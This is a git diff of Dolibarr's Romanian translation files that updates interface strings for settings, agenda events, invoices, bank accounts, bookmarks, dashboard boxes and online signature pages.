-VisitorCanChooseItsPaymentMode=Vizitatorul poate alege din modurile disponibile de plată +VisitorCanChooseItsPaymentMode=Vizitatorul poate alege toate modurile de plată disponibile MEMBER_REMINDER_EMAIL=Activați reminder automat prin email pentru adeziunile expirate. Notă: Modul %s trebuie să fie activat and setat corect pentru a trimite remindere. MembersDocModules=Șabloane documente pentru documentele generate din înregistrarea membrilor ##### LDAP setup ##### @@ -1721,7 +1745,7 @@ MailingDelay=Secunde de aşteptare pentru trimiterea următorului email NotificationSetup=Configurare modul Notificare pe email NotificationEMailFrom=Email expeditor (De la) pentru email-urile trimise de modulul Notificări FixedEmailTarget=Destinatar -NotificationDisableConfirmMessageContact=Ascundei listă destinatari notificări (abonați ca contact) în mesajul de confirmare +NotificationDisableConfirmMessageContact=Ascunde listă destinatari notificări (abonați ca contact) în mesajul de confirmare NotificationDisableConfirmMessageUser=Ascunde listă destinatari notificări (abonați ca utilizator) în mesajul de confirmare  NotificationDisableConfirmMessageFix=Ascunde listă destinatari notificări (abonați cu email global) în mesajul de confirmare ##### Sendings ##### @@ -1741,9 +1765,9 @@ AdvancedEditor=Editor avansat ActivateFCKeditor=Activaţi editorul avansat pentru: FCKeditorForNotePublic=Creare/editare WYSIWIG câmp "note publice" pe elemente FCKeditorForNotePrivate=Creare/editare WYSIWIG câmp "note private" pe elemente -FCKeditorForCompany=Creare/editare WYSIWIG câmp descriere elemente (cu excepția produselor/serviciilor)  -FCKeditorForProduct=Creare/editare WYSIWIG câmp descriere produse/servicii -FCKeditorForProductDetails=Crearea/editarea WYSIWIG a liniilor de detalii ale produselor pentru toate entitățile (propuneri, comenzi, facturi, etc.). Atenţie: Utilizarea acestei opțiuni pentru acest caz nu este serios recomandată, deoarece poate crea probleme cu caracterele speciale și formatarea paginilor atunci când creați fișiere PDF. +FCKeditorForCompany=Creare/editare WYSIWIG câmp descriere elemente (cu excepția produselor/serviciilor) +FCKeditorForProductDetails=Creare/editare WYSIWYG a descrierii produselor sau a liniilor pentru obiecte (linii de oferte, comenzi, facturi, etc...). +FCKeditorForProductDetails2=Atenție: Utilizarea acestei opțiuni pentru acest caz nu este recomandată, deoarece poate crea probleme cu caracterele speciale și formatarea paginii la generarea fișierelor PDF. FCKeditorForMailing= Creare/editare WYSIWIG pentru newslettere (Instrumente->Newslettere) FCKeditorForUserSignature=Creare/editare WYSIWIG a semnăturii utilizatorilor FCKeditorForMail=Creare/editare WYSIWIG pentru toate email-urile (cu excepția Instrumente->Newletter) @@ -1766,7 +1790,7 @@ DetailMenuHandler=Handler meniu utilizat pentru afişarea noului meniu DetailMenuModule=Numele modulului dacă intrarea în meniu provine dintr-un modul DetailType=Tip meniu (sus sau stânga) DetailTitre=Etichetă meniu sau cod etichetă pentru traducere -DetailUrl=URL-ul la care te trimite meniul (URL absolut sau link extern de legătură cu http://) +DetailUrl=Adresa URL la care trimite meniul (link URL relativ sau link extern cu https://) DetailEnabled=Condiţia pentru a afişa sau nu elementul DetailRight=Condiţia pentru a afişa meniurile gri neautorizate DetailLangs=Nume fişier lang pentru cod etichetă de traducere @@ -1810,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Utilizați tipuri de evenimente (gestionate în menu Setă AGENDA_USE_EVENT_TYPE_DEFAULT=Setează automat această valoare implicită pentru tipul de eveniment în formularul de creare a evenimentului AGENDA_DEFAULT_FILTER_TYPE=Puneți automat acest tip de eveniment în filtrul de căutare al vizualizării agendei AGENDA_DEFAULT_FILTER_STATUS=Puneți automat această stare pentru evenimentele din filtrul de căutare din vizualizarea agendei +AGENDA_EVENT_PAST_COLOR=Culoarea evenimentului trecut +AGENDA_EVENT_CURRENT_COLOR=Culoarea evenimentului curent +AGENDA_EVENT_FUTURE_COLOR=Culoarea evenimentului viitor AGENDA_DEFAULT_VIEW=Ce vizualizare doriți să deschideți implicit atunci când selectați meniul Agenda AGENDA_REMINDER_BROWSER=Activați memento-uri evenimente în browserul utilizatorului (Când este atinsă data de reamintire, browserul afișează un popup. Fiecare utilizator poate dezactiva astfel de notificări din configurarea sa de notificări browser). AGENDA_REMINDER_BROWSER_SOUND=Activați notificarea sonoră @@ -1837,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=Scăderea stocului la plata prin POS CashDeskYouDidNotDisableStockDecease=Nu ați dezactivat scăderea stocului la efectuarea unei vânzări de la POS. Prin urmare, este necesară specificarea unui depozit. CashDeskForceDecreaseStockLabel=Scăderea stocului pentru produsele din lot a fost forțată. CashDeskForceDecreaseStockDesc=Scădere mai întâi după cea mai vechi date de consum şi de vânzare. -CashDeskReaderKeyCodeForEnter=Cod tastă pentru "Enter" definit în cititorul de coduri de bare(Exemplu: 13) +CashDeskReaderKeyCodeForEnter=Codul ASCII pentru tasta "Enter" definit în cititorul de coduri de bare (Exemplu: 13) ##### Bookmark ##### BookmarkSetup=Configurare modul Bookmark-uri BookmarkDesc=Acest modul vă permite să gestionați marcajele. De asemenea, puteți adăuga comenzi rapide la orice pagini din sistem sau site-uri externe din meniul din stânga. @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Modele de numerotare a facturilor furnizor IfSetToYesDontForgetPermission=Dacă este setată o valoare nulă, nu uitați să furnizați permisiuni grupurilor sau utilizatorilor autorizați pentru a doua aprobare ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=Configurare modul GeoIP Maxmind -PathToGeoIPMaxmindCountryDataFile=Calea spre fişierul Maxmind care conţine translatarea IP la ţară.
      Exemple:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Calea către fișierul care conține conversia IP Maxmind în țară NoteOnPathLocation=Reţine că fişierul de conversie IP la ţară trebuie să fie într-un director citibil de PHP (Verifică configurarea PHP open_basedir şi permisiunile de fişiere). YouCanDownloadFreeDatFileTo=Puteţi descărca o versiune demo gratuită a fişierului de ţară GeoIP Maxmind de la %s. YouCanDownloadAdvancedDatFileTo=Puteţi descărca de asemenea, o versiune mai completă, cu actualizări ale fişierului de ţară GeoIP Maxmind de la %s. @@ -1926,6 +1953,7 @@ BackupDumpWizard=Wizard pentru generarea fişierului dump al bazei de date BackupZipWizard=Wizard pentru generarea arhivei cu directul de documente SomethingMakeInstallFromWebNotPossible=Instalarea modulului extern nu este posibilă din interfața web din următorul motiv: SomethingMakeInstallFromWebNotPossible2=Din acest motiv, procesul de actualizare descris aici este un proces manual pe care numai un utilizator privilegiat îl poate face. +InstallModuleFromWebHasBeenDisabledContactUs=Instalarea sau dezvoltarea de module externe sau site-uri web dinamice, din aplicație, este în prezent blocată din motive de securitate. Vă rugăm să ne contactați dacă trebuie să activați această funcție. InstallModuleFromWebHasBeenDisabledByFile=Instalarea de module externe din aplicație a fost dezactivată de administrator. Trebuie să-i soliciţi să şteargă fişierul %s pentru a permite această caracteristică. ConfFileMustContainCustom=Instalarea sau construirea unui modul extern din aplicație trebuie să salveze fişierele în directorul %s. Pentru a putea fi folosit de sistem, trebuie să configureziconf/conf.php adaugă 2 linii de directivă:
      $dolibarr_main_url_root_alt='/custom';
      $dolibarr_main_document_root_alt='%s/custom'; HighlightLinesOnMouseHover=Evidențiați liniile tabelului când treceţi cu mouse-ul peste ele @@ -2053,6 +2081,8 @@ RemoveSpecialChars=Eliminați caracterele speciale COMPANY_AQUARIUM_CLEAN_REGEX=Filtrul Regex pentru a curăța valoarea (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Flitru Regex pentru curăţarea valorii (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Nu sunt permise duplicate +RemoveSpecialWords=Curățare anumite cuvinte atunci când se generează sub-conturi pentru clienți sau furnizori +RemoveSpecialWordsHelp=Specifică cuvintele de curățat înainte de a calcula contul de client sau furnizor. Folosește ";" între cuvinte GDPRContact=Responsabilul cu protecția datelor (DPO, confidențialitatea datelor sau contact GDPR ) GDPRContactDesc=Dacă stochezi date cu caracter personal în Sistemul tău informațional, poți specifica aici persoana de contact care este responsabilă pentru GDPR HelpOnTooltip=Text de ajutor care să apară pe butonul de sugestii @@ -2080,6 +2110,7 @@ MailboxTargetDirectory=Directorul ţintă al cutiei poștale EmailcollectorOperations=Operațiuni de făcut de către colector EmailcollectorOperationsDesc=Operațiunile sunt executate în ordinea de sus în jos MaxEmailCollectPerCollect=Număr maxim de email-uri colectae per operaţiune +TestCollectNow=Test colectare CollectNow=Colectați acum ConfirmCloneEmailCollector=Sigur vrei să clonezi colectorul de email-uri %s? DateLastCollectResult=Data ultimei încercări de colectare @@ -2109,6 +2140,7 @@ CodeLastResult=Ultimul cod rezultat NbOfEmailsInInbox=Numărul de email-uri în directorul sursă LoadThirdPartyFromName=Încărcați un terţ căutând în %s (doar încărcare) LoadThirdPartyFromNameOrCreate=Încărcați un terţ căutând în %s (creare dacă nu este găsit) +LoadContactFromEmailOrCreate=Încărcare contact căutând în %s (creare dacă nu este găsit) AttachJoinedDocumentsToObject=Salvare fișiere atașate în documente obiect dacă o referință a unui obiect este găsită în subiectul email-ului. WithDolTrackingID=Mesaj dintr-o conversație inițiată de un prim e-mail trimis de la sistem WithoutDolTrackingID=Mesaj dintr-o conversație inițiată de un prim e-mail NU trimis din sistem @@ -2183,6 +2215,7 @@ ShowProjectLabel=Etichetă proiect PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias-ul în numele terților THIRDPARTY_ALIAS=Nume terț - Alias ​​terț ALIAS_THIRDPARTY=Alias ​​terț - Nume terț +PDFIn2Languages=Afișează etichetele în PDF în 2 limbi diferite PDF_USE_ALSO_LANGUAGE_CODE=Dacă doriți să aveți unele texte duplicate în PDF-ul în 2 limbi diferite în același PDF generat, trebuie să setați aici această a doua limbă, astfel încât PDF-ul generat va conține 2 limbi diferite în aceeași pagină, cea aleasă la generarea PDF-ului și aceasta ( doar câteva șabloane PDF acceptă acest lucru). Păstrați gol pentru 1 limbă pentru fiecare PDF. PDF_USE_A=Gererare documente PDF cu format PDF/A în loc de formatul PDF implicit FafaIconSocialNetworksDesc=Introduceți aici codul unei pictograme FontAwesome. Dacă nu știți ce este FontAwesome, puteți utiliza valoarea generică fa-address-book. @@ -2211,12 +2244,12 @@ MailToPartnership=Parteneriat AGENDA_EVENT_DEFAULT_STATUS=Starea implicită a evenimentului când creaţi un eveniment din formular YouShouldDisablePHPFunctions=Ar trebui să dezactivezi funcțiile PHP IfCLINotRequiredYouShouldDisablePHPFunctions=Cu excepția cazului în care trebuie să rulați comenzi de sistem în cod personalizat, trebuie să dezactivați funcțiile PHP -PHPFunctionsRequiredForCLI=Pentru shell (cum ar fi jobul programat de backup sau rularea unui program antivirus), trebuie să păstrați funcțiile PHP  +PHPFunctionsRequiredForCLI=Pentru shell (cum ar fi backup programat sau rularea unui program antivirus), trebuie să păstrezi funcțiile PHP NoWritableFilesFoundIntoRootDir=Nu au fost găsite în directorul rădăcină fișiere sau directoare scriptibile ale programelor comune (OK)  RecommendedValueIs=Recomandat: %s Recommended=Recomandat NotRecommended=Nerecomandat -ARestrictedPath=Cale restricţionată +ARestrictedPath=O cale restricționată pentru fișierele de date CheckForModuleUpdate=Verificare actualizări module externe CheckForModuleUpdateHelp=Această acțiune se va conecta la editori de module externe pentru a verifica dacă este disponibilă o nouă versiune. ModuleUpdateAvailable=O actualizare este disponibilă @@ -2264,10 +2297,10 @@ LateWarningAfter=Avertizare "Întârziat" după TemplateforBusinessCards=Șablon pentru o carte de vizită cu diferite dimensiuni InventorySetup= Configurare Inventar ExportUseLowMemoryMode=Utilizare mod de memorie limitată -ExportUseLowMemoryModeHelp=Utilizare mod de memorie scăzută pentru execuţie dump (comprimarea se face prin pipe nu prin memoria PHP). Această metodă nu permite să verifici dacă fișierul este finalizat și mesajul de eroare nu poate fi raportat dacă execuţia nu reușește. +ExportUseLowMemoryModeHelp=Utilizare mod de memorie scăzută pentru generarea fișierului dump (comprimarea se face printr-un pipe în loc de memoria PHP). Această metodă nu permite să verifici dacă fișierul este complet și mesajul de eroare nu poate fi raportat dacă nu reușește. Utilizează dacă nu ai erori de memorie. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interfață de capturare triggere sistem și trimitere la o adresă URL +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Configurare Webhook Settings = Configurări WebhookSetupPage = Pagină de configurare Webhook @@ -2288,6 +2321,8 @@ IconOnly=Doar pictogramă - Text doar în tooltip  INVOICE_ADD_ZATCA_QR_CODE=Afișează cod QR ZATCA pe facturi INVOICE_ADD_ZATCA_QR_CODEMore=Unele țări arabe au nevoie de acest cod QR pe ​​facturi INVOICE_ADD_SWISS_QR_CODE=Afișare cod QR-Bill swiss pe facturi +INVOICE_SHOW_SHIPPING_ADDRESS=Afișează adresa de livrare +INVOICE_SHOW_SHIPPING_ADDRESSMore=Mențiune obligatorie pentru Franța UrlSocialNetworksDesc=Link URL rețea socială. Utilizează {socialid} pentru partea variabilă care conține ID-ul rețelei sociale. IfThisCategoryIsChildOfAnother=Dacă această categorie este un copil al alteia DarkThemeMode=Mod întunecat temă @@ -2307,3 +2342,37 @@ UsePassword=Folosește o parolă UseOauth=Folosește un token OAUTH Images=Imagini MaxNumberOfImagesInGetPost=Numărul maxim de imagini permis într-un câmp HTML trimis într-un formular +MaxNumberOfPostOnPublicPagesByIP=Număr maxim de postări pe pagini publice cu aceeași adresă IP într-o lună +CIDLookupURL=Modulul aduce o adresă URL care poate fi utilizată de un instrument extern pentru a obține numele unui terț sau contact din numărul său de telefon. Adresa URL de utilizat este: +ScriptIsEmpty=Script-ul este gol +ShowHideTheNRequests=Afișare/ascundere %s interogare(i) SQL +DefinedAPathForAntivirusCommandIntoSetup=Definește o cale pentru un program antivirus în %s +TriggerCodes=Evenimente cu trigger +TriggerCodeInfo=Introdu aici cod(urile) de trigger care trebuie să genereze o postare a unui request web (sunt permise doar URL-urile externe). Poți introduce mai multe coduri de declanșare separate prin virgulă. +EditableWhenDraftOnly=Dacă nu este bifată, valoarea poate fi modificată numai atunci când obiectul are starea schiță +CssOnEdit=CSS în paginile de editare +CssOnView=CSS în paginile de vizualizare +CssOnList=CSS în paginile de listare +HelpCssOnEditDesc=CSS folosit la editarea câmpului.
      Exemplu: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=CSS folosit la vizualizarea câmpului. +HelpCssOnListDesc=CSS folosit atunci când câmpul se află în interiorul unui tabel dintr-o listă.
      Exemplu: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Ascundere cantitate comandată pe documentele generate pentru recepții +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Afișare preț pe documentele generate pentru recepții +WarningDisabled=Avertizare dezactivată +LimitsAndMitigation=Limite de acces și atenuare +DesktopsOnly=Doar desktop-uri +DesktopsAndSmartphones=Desktop-uri și smartphone-uri +AllowOnlineSign=Permite semnare online +AllowExternalDownload=Permite descărcarea externă (fără autentificare, folosind un link partajat) +DeadlineDayVATSubmission=Ziua limită pentru depunerea TVA în luna următoare +MaxNumberOfAttachementOnForms=Numărul maxim de fișiere unite într-un formular +IfDefinedUseAValueBeetween=Dacă este definită, utilizează o valoare între %s și %s +Reload=Reîncărcare +ConfirmReload=Confirmare reîncărcare modul +WarningModuleHasChangedLastVersionCheckParameter=Atenție: modulul %s a setat un parametru pentru a-și verifica versiunea la fiecare accesare de pagină. Aceasta este o practică proastă și nepermisă care poate face ca pagina de administrare a modulelor să fie instabilă. Contactează autorul modulului pentru a remedia acest lucru. +WarningModuleHasChangedSecurityCsrfParameter=Atenție: modulul %s a dezactivat securitatea CSRF a instanței tale. Această acțiune este suspectă și este posibil ca instalarea ta să nu mai fie securizată. Contacteză autorul modulului pentru explicații.  +EMailsInGoingDesc=E-mailurile primite sunt gestionate de modulul %s. Trebuie să îl activezi și să îl configurezi dacă trebuie să accepți e-mailurile primite. +MAIN_IMAP_USE_PHPIMAP=Utilizează biblioteca PHP-IMAP pentru IMAP în loc de PHP IMAP nativ. Acest lucru permite, de asemenea, utilizarea unei conexiuni OAuth2 pentru IMAP (modulul OAuth trebuie, de asemenea, activat).  +MAIN_CHECKBOX_LEFT_COLUMN=Afișare coloană pentru selecție câmp și linie în stânga (în mod implicit în dreapta) + +CSSPage=Stil CSS diff --git a/htdocs/langs/ro_RO/agenda.lang b/htdocs/langs/ro_RO/agenda.lang index 1c8a6fd6bf8..8a6a9fc63e6 100644 --- a/htdocs/langs/ro_RO/agenda.lang +++ b/htdocs/langs/ro_RO/agenda.lang @@ -68,6 +68,7 @@ ShipmentBackToDraftInDolibarr=Livrarea %s revine la starea de schiţă ShipmentDeletedInDolibarr=Livrarea %s a fost ştearsă ShipmentCanceledInDolibarr=Livrarea %s a fost anulată ReceptionValidatedInDolibarr=Recepţia %s a fost validată +ReceptionDeletedInDolibarr=Recepția %s a fost ștearsă ReceptionClassifyClosedInDolibarr=Recepția %s a fost clasificată ca închisă OrderCreatedInDolibarr=Comanda %s a fost creată OrderValidatedInDolibarr=Comanda %s a fost validată @@ -87,6 +88,7 @@ SupplierInvoiceSentByEMail=Factura furnizor %s a fost trimisă pe email ShippingSentByEMail=Livrarea %s a fost trimisă pe email ShippingValidated= Livrarea %s a fost validată InterventionSentByEMail=Intervenția %s a fost trimisă pe email +ProjectSentByEMail=Proiectul %s a fost trimis pe email ProposalDeleted=Ofertă ştearsă OrderDeleted=Comandă ştearsă InvoiceDeleted=Factură ştearsă @@ -175,5 +177,6 @@ ReminderType=Tip callback AddReminder=Creați o notificare automată de reminder pentru acest eveniment ErrorReminderActionCommCreation=Eroare la crearea notificării de reminder pentru acest eveniment BrowserPush=Notificări popup browser +Reminders=Reminder-e ActiveByDefault=Activat implicit Until=până diff --git a/htdocs/langs/ro_RO/banks.lang b/htdocs/langs/ro_RO/banks.lang index 19400a27dd4..a69fcdbe705 100644 --- a/htdocs/langs/ro_RO/banks.lang +++ b/htdocs/langs/ro_RO/banks.lang @@ -49,6 +49,9 @@ BankAccountDomiciliation=Adresa băncii BankAccountCountry=Ţară Cont BankAccountOwner=Nume deţinător cont BankAccountOwnerAddress=Adresă deţinător Cont +BankAccountOwnerZip=Cod poștal deținător cont +BankAccountOwnerTown=Localitate deținător cont +BankAccountOwnerCountry=Țară deținător cont CreateAccount=Crează cont NewBankAccount=Cont nou NewFinancialAccount=Cont financiar nou @@ -185,4 +188,3 @@ AlreadyOneBankAccount=Este deja definit un cont bancar SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformation=Transfer SEPA: 'Tip de plată' la nivelul 'Transfer de credit'. SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformationHelp=Când se generează un fișier XML SEPA pentru transferuri de credit, secțiunea "PaymentTypeInformation" poate fi acum plasată în secțiunea "CreditTransferTransactionInformation" (în loc de secțiunea "Plată"). Vă recomandăm insistent să păstrați această casetă nebifată pentru a plasa PaymentTypeInformation la nivel de plată, deoarece toate băncile nu o vor accepta neapărat la nivel de CreditTransferTransactionInformation. Contactați banca înainte de a plasa PaymentTypeInformation la nivel CreditTransferTransactionInformation. ToCreateRelatedRecordIntoBank=De creat înregistrarea bancară aferentă care lipseşte -BanklineExtraFields=Extracâmpuri linie bancară diff --git a/htdocs/langs/ro_RO/bills.lang b/htdocs/langs/ro_RO/bills.lang index 2ac2c5ccf40..53ae952152c 100644 --- a/htdocs/langs/ro_RO/bills.lang +++ b/htdocs/langs/ro_RO/bills.lang @@ -13,10 +13,12 @@ BillsStatistics=Statistici Facturi Clienţi BillsStatisticsSuppliers=Statistici facturi furnizor DisabledBecauseDispatchedInBookkeeping=Dezactivat deoarece factura a fost expediată în contabilitate DisabledBecauseNotLastInvoice=Dezactivat deoarece factura nu poate fi ștearsă. Unele facturi au fost înregistrate după aceasta și vor crea lipsuri în incrementare. +DisabledBecauseNotLastSituationInvoice=Dezactivat deoarece factura nu poate fi ștearsă. Această factură nu este ultima din ciclul facturilor de situație.  DisabledBecauseNotErasable=Dezactivat pentru că nu poate fi şters InvoiceStandard=Factură Standard InvoiceStandardAsk=Factură Standard InvoiceStandardDesc=Acest tip de factură este factura comună. +InvoiceStandardShort=Standard InvoiceDeposit=Factură de plată în avans InvoiceDepositAsk=Factură de plată în avans InvoiceDepositDesc=Acest tip de factură se face atunci când a fost primită o factură de plată în avans @@ -24,6 +26,7 @@ InvoiceProForma=Factură Proformă InvoiceProFormaAsk=Factură Proformă InvoiceProFormaDesc=Factura Proformă este o imagine a unei facturi, dar nu are nici o valoare contabilă. InvoiceReplacement=Factură de înlocuire +InvoiceReplacementShort=Înlocuire InvoiceReplacementAsk=Factură de înlocuire a altei facturi InvoiceReplacementDesc=Factura de înlocuire este folosită pentru a înlocui o factură care nu a fost achitată.

      Notă: Se pot înlocui numai facturile neachitate. Dacă factura pe care o înlocuiți nu este încă închisă, aceasta va fi închisă automat la "Abandonată". InvoiceAvoir=Notă de credit @@ -159,6 +162,7 @@ ErrorThisPartOrAnotherIsAlreadyUsedSoDiscountSerieCantBeRemoved=Această parte s ErrorInvoiceIsNotLastOfSameType=Eroare: Data facturii %s este %s. Trebuie să fie ulterioară sau egală cu ultima dată pentru facturile de același tip (%s). Modificăă data facturii. BillFrom=De la BillTo=La +ShippingTo=Livrare pentru ActionsOnBill=Evenimente pe factură RecurringInvoiceTemplate=Șablon / factură recurentă NoQualifiedRecurringInvoiceTemplateFound=Nu există un model de factură potrivit pentru generare. @@ -622,3 +626,8 @@ PaymentRegisteredAndInvoiceSetToPaid=Plata a fost înregistrată și factura %s SendEmailsRemindersOnInvoiceDueDate=Trimite reminder pe email pentru facturile neîncasate MakePaymentAndClassifyPayed=Înregistrare plată BulkPaymentNotPossibleForInvoice=Plata bulk nu este posibilă pentru factura %s (tip sau status greșit) +MentionVATDebitOptionIsOn=Opțiunea de a plăti impozit pe baza de debitelor +MentionCategoryOfOperations=Categorie operațiuni  +MentionCategoryOfOperations0=Livrare de bunuri +MentionCategoryOfOperations1=Prestare de servicii +MentionCategoryOfOperations2=Mixt - Livrare de bunuri și prestare de servicii diff --git a/htdocs/langs/ro_RO/bookmarks.lang b/htdocs/langs/ro_RO/bookmarks.lang index af716c5d751..068dee6cfab 100644 --- a/htdocs/langs/ro_RO/bookmarks.lang +++ b/htdocs/langs/ro_RO/bookmarks.lang @@ -20,3 +20,4 @@ ChooseIfANewWindowMustBeOpenedOnClickOnBookmark=Alegeți dacă pagina de referin BookmarksManagement=Management marcaje BookmarksMenuShortCut=Ctrl + shift + m NoBookmarks=Niciun bookmark definit +NoBookmarkFound=Niciun marcaj nu a fost găsit diff --git a/htdocs/langs/ro_RO/boxes.lang b/htdocs/langs/ro_RO/boxes.lang index 09d942ad92e..2a0166e3f9a 100644 --- a/htdocs/langs/ro_RO/boxes.lang +++ b/htdocs/langs/ro_RO/boxes.lang @@ -24,6 +24,7 @@ BoxFicheInter=Ultimele intervenţii BoxCurrentAccounts=Sold conturi deschise BoxTitleMemberNextBirthdays=Aniversări în această lună (membri) BoxTitleMembersByType=Membri după tip şi status +BoxTitleMembersByTags=Membri după tag-uri și status BoxTitleMembersSubscriptionsByYear=Adeziuni membri după an BoxTitleLastRssInfos=Ultimele %s noutăţi de la %s BoxTitleLastProducts=Produse/Servicii: ultimele %s modificate @@ -44,8 +45,10 @@ BoxTitleSupplierOrdersAwaitingReception=Comenzi de achiziţie în aşteptare BoxTitleLastModifiedContacts=Contacte/Adrese: ultimile %s modificate BoxMyLastBookmarks=Bookmark-uri : ultimile %s BoxOldestExpiredServices=Cele mai vechi servicii active expirate +BoxOldestActions=Cele mai vechi evenimente de făcut BoxLastExpiredServices=Cele mai vechi %s contacte cu servicii active expirate BoxTitleLastActionsToDo=Ultimele %s acţiuni de realizat +BoxTitleOldestActionsToDo=Cele mai vechi %s evenimente de făcut, nefinalizate BoxTitleLastContracts=Ultimele %s contracte modificate BoxTitleLastModifiedDonations=Utimele %s donaţii modificate BoxTitleLastModifiedExpenses=Ultimele %s rapoarte de cheltuieli modificate diff --git a/htdocs/langs/ro_RO/commercial.lang b/htdocs/langs/ro_RO/commercial.lang index 7f69341f5f6..99388db9527 100644 --- a/htdocs/langs/ro_RO/commercial.lang +++ b/htdocs/langs/ro_RO/commercial.lang @@ -5,7 +5,7 @@ Customer=Client Customers=Clienţi Prospect=Prospect Prospects=Prospecţi -DeleteAction=Şterge un eveniment +DeleteAction=Şterge un eveniment NewAction=Eveniment nou AddAction=Creare eveniment AddAnAction=Crează un eveniment @@ -15,34 +15,34 @@ CardAction=Fişă Eveniment ActionOnCompany=Societate afiliată ActionOnContact=Contact afiliat TaskRDVWith=Întâlnire cu %s -ShowTask=Arată sarcină +ShowTask=Arată task ShowAction=Arată acţiune -ActionsReport=Raport Evenimente +ActionsReport=Raport evenimente ThirdPartiesOfSaleRepresentative=Terți cu reprezentant de vânzări -SaleRepresentativesOfThirdParty=Reprezentanți de vânzări ai unei terțe părți -SalesRepresentative=Reprezentant vînzări +SaleRepresentativesOfThirdParty=Reprezentanți de vânzări ai unui terț +SalesRepresentative=Reprezentant vânzări SalesRepresentatives=Reprezentanţi vânzări SalesRepresentativeFollowUp=Reprezentant vânzări (follow-up) -SalesRepresentativeSignature=Reprezentant vânzări (semnătura) +SalesRepresentativeSignature=Reprezentant vânzări (semnare contract) NoSalesRepresentativeAffected=Niciun reprezentant vânzări asociat ShowCustomer=Afişează client -ShowProspect=Afişează prospect -ListOfProspects=Lista prospecţi -ListOfCustomers=Lista clienţi -LastDoneTasks=Ultimele acțiuni finalizate %s +ShowProspect=Afişează prospect +ListOfProspects=Listă prospecţi +ListOfCustomers=Listă clienţi +LastDoneTasks=Ultimele %s acțiuni finalizate LastActionsToDo=Cele mai vechi %s acţiuni nefinalizate DoneAndToDoActions=Lista evenimentelor finalizate sau de realizat DoneActions=Lista evenimentelor finalizate ToDoActions=Lista evenimentelor nefinalizate -SendPropalRef=Transmitere ofertă comercială %s -SendOrderRef=Transmitere comandă %s +SendPropalRef=Transmitere ofertă comercială %s +SendOrderRef=Transmitere comandă %s StatusNotApplicable=Nu se aplică StatusActionToDo=De realizat StatusActionDone=Finalizat StatusActionInProcess=În curs TasksHistoryForThisContact=Evenimente pentru acest contact LastProspectDoNotContact=Nu contactaţi -LastProspectNeverContacted=Niciodată contactat +LastProspectNeverContacted=Necontactat vreodată LastProspectToContact=De contactat LastProspectContactInProcess=Contact în curs LastProspectContactDone=Contact efectuat @@ -50,31 +50,40 @@ ActionAffectedTo=Eveniment asociat lui ActionDoneBy=Eveniment realizat de către ActionAC_TEL=Apel Telefonic ActionAC_FAX=Trimitere fax -ActionAC_PROP=Trimitere ofertă pe e-mail -ActionAC_EMAIL=Trimitere e-mail -ActionAC_EMAIL_IN=Primirea e-mailului +ActionAC_PROP=Trimitere ofertă pe email +ActionAC_EMAIL=Trimitere email +ActionAC_EMAIL_IN=Primire email ActionAC_RDV=Întâlniri -ActionAC_INT=Intervenţie în site -ActionAC_FAC=Trimitere factura client pe e-mail -ActionAC_REL=Retrimitere factura client (memento) -ActionAC_CLO=Închide -ActionAC_EMAILING=Trimite e-mail-uri în masă -ActionAC_COM=Trimiteți comanda de vânzări prin poștă -ActionAC_SHIP=Trimitere notă de livrare prin e-mail -ActionAC_SUP_ORD=Trimiteți comanda de cumpărare prin poștă -ActionAC_SUP_INV=Trimiteți factura furnizorului prin poștă +ActionAC_INT=Intervenţie, deplasare la client +ActionAC_FAC=Trimitere factura client pe email +ActionAC_REL=Retrimitere factura client (reminder) +ActionAC_CLO=Închidere +ActionAC_EMAILING=Trimitere newsletter +ActionAC_COM=Trimitere comandă de vânzări prin poștă +ActionAC_SHIP=Trimitere notă de livrare pe email +ActionAC_SUP_ORD=Trimitere comandă de achiziţie prin poștă +ActionAC_SUP_INV=Trimitere factură furnizor prin poștă ActionAC_OTH=Altele -ActionAC_OTH_AUTO=Evenimente inserate automat +ActionAC_OTH_AUTO=Altele automate ActionAC_MANUAL=Evenimente inserate manual ActionAC_AUTO=Evenimente inserate automat -ActionAC_OTH_AUTOShort=Automat +ActionAC_OTH_AUTOShort=Altele +ActionAC_EVENTORGANIZATION=Eveniment organizare de evenimente Stats=Statistici vânzări -StatusProsp=Statut Prospect -DraftPropals=Oferte Comerciale Schiţă +StatusProsp=Status prospect +DraftPropals=Oferte comerciale schiţă NoLimit=Nelimitat -ToOfferALinkForOnlineSignature=Link pentru semnatura online -WelcomeOnOnlineSignaturePage=Bun venit pe pagina pentru a accepta propunerile comerciale de la %s -ThisScreenAllowsYouToSignDocFrom=Acest ecran vă permite să acceptaţi şi să semnaţi sau refuzaţi o ofertă/propunere comercială -ThisIsInformationOnDocumentToSign=Acestea sunt informaţiile din document de acceptat sau refuzat +ToOfferALinkForOnlineSignature=Link pentru semnare online +WelcomeOnOnlineSignaturePageProposal=Bun venit la pagina unde puteţi accepta online ofertele comerciale de la %s +WelcomeOnOnlineSignaturePageContract=Bun venit la %s Pagina de semnare a contractului PDF +WelcomeOnOnlineSignaturePageFichinter=Bun venit la pagina de semnare PDF a intervenției %s +ThisScreenAllowsYouToSignDocFromProposal=Acest ecran vă permite să acceptaţi şi să semnaţi sau să refuzaţi o ofertă/propunere comercială +ThisScreenAllowsYouToSignDocFromContract=Acest ecran vă permite să semnați online un contract în format PDF. +ThisScreenAllowsYouToSignDocFromFichinter=Acest ecran îți permite să semnezi online intervenția în format PDF. +ThisIsInformationOnDocumentToSignProposal=Acestea sunt informaţiile din document de acceptat sau de refuzat +ThisIsInformationOnDocumentToSignContract=Acestea sunt informații despre contractul care trebuie semnat 